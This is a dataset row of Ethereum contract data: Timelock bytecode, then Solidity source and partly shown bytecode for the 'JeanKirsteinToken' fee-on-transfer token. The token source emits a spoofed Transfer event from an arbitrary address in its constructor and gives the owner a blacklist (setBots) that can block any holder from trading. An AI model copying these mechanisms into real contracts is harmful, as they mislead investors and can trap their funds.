0x6080604052600436106100dd5760003560e01c80636fc1f57e1161007f578063c1a287e211610059578063c1a287e214610621578063e177246e14610636578063f2b0653714610660578063f851a4401461068a576100dd565b80636fc1f57e146105ce5780637d645fab146105f7578063b1b43ae51461060c576100dd565b80633a66f901116100bb5780633a66f901146102da5780634dd18bf514610439578063591fcdfe1461046c5780636a42b8f8146105b9576100dd565b80630825f38f146100df5780630e18b6811461029457806326782247146102a9575b005b61021f600480360360a08110156100f557600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561012457600080fd5b82018360208201111561013657600080fd5b803590602001918460018302840111600160201b8311171561015757600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101a957600080fd5b8201836020820111156101bb57600080fd5b803590602001918460018302840111600160201b831117156101dc57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061069f915050565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610259578181015183820152602001610241565b50505050905090810190601f1680156102865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102a057600080fd5b506100dd610bc9565b3480156102b557600080fd5b506102be610c65565b604080516001600160a01b039092168252519081900360200190f35b3480156102e657600080fd5b50610427600480360360a08110156102fd57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561032c57600080fd5b82018360208201111561033e57600080fd5b803590602001918460018302840111600160201b8311171561035f57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103b157600080fd5b8201836020820111156103c357600080fd5b803590602001918460018302840111600160201b831117156103e457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c74915050565b60408051918252519081900360200190f35b34801561044557600080fd5b506100dd6004803603602081101561045c57600080fd5b50356001600160a01b0316610f85565b34801561047857600080fd5b506100dd600480360360a081101561048f57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104be57600080fd5b8201836020820111156104d057600080fd5b803590602001918460018302840111600160201b831117156104f157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561054357600080fd5b82018360208201111561055557600080fd5b803590602001918460018302840111600160201b8311171561057657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061107a915050565b3480156105c557600080fd5b50610427611330565b3480156105da57600080fd5b506105e3611336565b604080519115158252519081900360200190f35b34801561060357600080fd5b5061042761133f565b34801561061857600080fd5b50610427611346565b34801561062d57600080fd5b5061042761134c565b34801561064257600080fd5b506100dd6004803603602081101561065957600080fd5b5035611353565b34801561066c57600080fd5b506105e36004803603602081101561068357600080fd5b5035611447565b34801561069657600080fd5b506102be61145c565b6000546060906001600160a01b031633146106eb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114d16038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561075a578181015183820152602001610742565b50505050905090810190601f1680156107875780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156107ba5781810151838201526020016107a2565b50505050905090810190601f1680156107e75780820380516001836020036101000a031916815260200191505b5060408051601f19818403018152919052805160209091012060035490995060ff1615975061091a96505050505050505760008181526004602052604090205460ff166108655760405162461bcd60e51b815260040180806020018281038252603d815260200180611624603d913960400191505060405180910390fd5b8261086e61146b565b10156108ab5760405162461bcd60e51b81526004018080602001828103825260458152602001806115736045913960600191505060405180910390fd5b6108be836212750063ffffffff61146f16565b6108c661146b565b11156109035760405162461bcd60e51b81526004018080602001828103825260338152602001806115406033913960400191505060405180910390fd5b6000818152600460205260409020805460ff191690555b606085516000141561092d5750836109ba565b85805190602001208560405160200180836001600160e01b0319166001600160e01b031916815260040182805190602001908083835b602083106109825780518252601f199092019160209182019101610963565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109f95780518252601f1990920191602091820191016109da565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a5b576040519150601f19603f3d011682016040523d82523d6000602084013e610a60565b606091505b509150915081610aa15760405162461bcd60e51b815260040180806020018281038252603d815260200180611707603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610b1e578181015183820152602001610b06565b50505050905090810190601f168015610b4b5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b7e578181015183820152602001610b66565b50505050905090810190601f168015610bab5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610c125760405162461bcd60e51b81526004018080602001828103825260388152602001806116616038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610cbe5760405162461bcd60e51b81526004018080602001828103825260368152602001806116d16036913960400191505060405180910390fd5b610cd8600254610ccc61146b565b9063ffffffff61146f16565b821015610d165760405162461bcd60e51b81526004018080602001828103825260498152602001806117446049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d85578181015183820152602001610d6d565b50505050905090810190601f168015610db25780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610de5578181015183820152602001610dcd565b50505050905090810190601f168015610e125780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610edd578181015183820152602001610ec5565b50505050905090810190601f168015610f0a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f3d578181015183820152602001610f25565b50505050905090810190601f168015610f6a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b60035460ff1615610fd357333014610fce5760405162461bcd60e51b81526004018080602001828103825260388152602001806116996038913960400191505060405180910390fd5b61102a565b6000546001600160a01b0316331461101c5760405162461bcd60e51b81526004018080602001828103825260298152602001806117be6029913960400191505060405180910390fd5b6003805460ff191660011790555b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b031633146110c35760405162461bcd60e51b81526004018080602001828103825260378152602001806115096037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561113257818101518382015260200161111a565b50505050905090810190601f16801561115f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561119257818101518382015260200161117a565b50505050905090810190601f1680156111bf5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561128a578181015183820152602001611272565b50505050905090810190601f1680156112b75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156112ea5781810151838201526020016112d2565b50505050905090810190601f1680156113175780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b60035460ff1681565b62278d0081565b61a8c081565b6212750081565b3330146113915760405162461bcd60e51b815260040180806020018281038252603181526020018061178d6031913960400191505060405180910390fd5b61a8c08110156113d25760405162461bcd60e51b81526004018080602001828103825260348152602001806115b86034913960400191505060405180910390fd5b62278d008111156114145760405162461bcd60e51b81526004018080602001828103825260388152602001806115ec6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60046020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b6000828201838110156114c9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2021696e69742026202161646d696ea265627a7a7231582006af07cc7965e392d09e9f52aa83642408a44720d6dc85f76d62a6e095d8194164736f6c634300050f0032
|
{"success": true, "error": null, "results": {}}
| 6,325 |
0x5a317e72092fad075afcc22933e67dae910ecc17
|
/**
*Submitted for verification at Etherscan.io on 2021-09-27
*/
/**
Telegram: https://t.me/JeanKirsteinToken
// SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract JeanKirsteinToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "JeanKirsteinToken";
string private constant _symbol = "JeanKirstein";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2, address payable addr3) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[addr3] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xdc9853b1Bd539D5427304A4D48A3a2D20520cb3B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 4;
_teamFee = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 2;
_teamFee = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTx(uint256 maxTx) external onlyOwner() {
require(maxTx > 0, "Amount must be greater than 0");
_maxTxAmount = maxTx;
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063bc3371821461038d578063c3c8cd80146103b6578063c9567bf9146103cd578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d31565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061285b565b61045e565b6040516101789190612d16565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612eb3565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612808565b61048c565b6040516101e09190612d16565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061276e565b610565565b005b34801561021e57600080fd5b50610227610655565b6040516102349190612f28565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906128e4565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f919061276e565b610782565b6040516102b19190612eb3565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612c48565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612d31565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061285b565b61098c565b60405161035b9190612d16565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061289b565b6109aa565b005b34801561039957600080fd5b506103b460048036038101906103af919061293e565b610ad4565b005b3480156103c257600080fd5b506103cb610bef565b005b3480156103d957600080fd5b506103e2610c69565b005b3480156103f057600080fd5b5061040b600480360381019061040691906127c8565b6111c4565b6040516104189190612eb3565b60405180910390f35b60606040518060400160405280601181526020017f4a65616e4b6972737465696e546f6b656e000000000000000000000000000000815250905090565b600061047261046b61124b565b8484611253565b6001905092915050565b600067016345785d8a0000905090565b600061049984848461141e565b61055a846104a561124b565b6105558560405180606001604052806028815260200161360660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b61124b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad69092919063ffffffff16565b611253565b600190509392505050565b61056d61124b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612e13565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066661124b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612e13565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075161124b565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611b3a565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c35565b9050919050565b6107db61124b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612e13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f4a65616e4b6972737465696e0000000000000000000000000000000000000000815250905090565b60006109a061099961124b565b848461141e565b6001905092915050565b6109b261124b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612e13565b60405180910390fd5b60005b8151811015610ad057600160066000848481518110610a6457610a63613270565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac8906131c9565b915050610a42565b5050565b610adc61124b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6090612e13565b60405180910390fd5b60008111610bac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba390612dd3565b60405180910390fd5b806012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610be49190612eb3565b60405180910390a150565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3061124b565b73ffffffffffffffffffffffffffffffffffffffff1614610c5057600080fd5b6000610c5b30610782565b9050610c6681611ca3565b50565b610c7161124b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf590612e13565b60405180910390fd5b601160149054906101000a900460ff1615610d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4590612e93565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ddd30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000611253565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2357600080fd5b505afa158015610e37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5b919061279b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ebd57600080fd5b505afa158015610ed1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef5919061279b565b6040518363ffffffff1660e01b8152600401610f12929190612c63565b602060405180830381600087803b158015610f2c57600080fd5b505af1158015610f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f64919061279b565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fed30610782565b600080610ff8610926565b426040518863ffffffff1660e01b815260040161101a96959493929190612cb5565b6060604051808303818588803b15801561103357600080fd5b505af1158015611047573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061106c919061296b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff02191690831515021790555067016345785d8a00006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161116e929190612c8c565b602060405180830381600087803b15801561118857600080fd5b505af115801561119c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c09190612911565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffff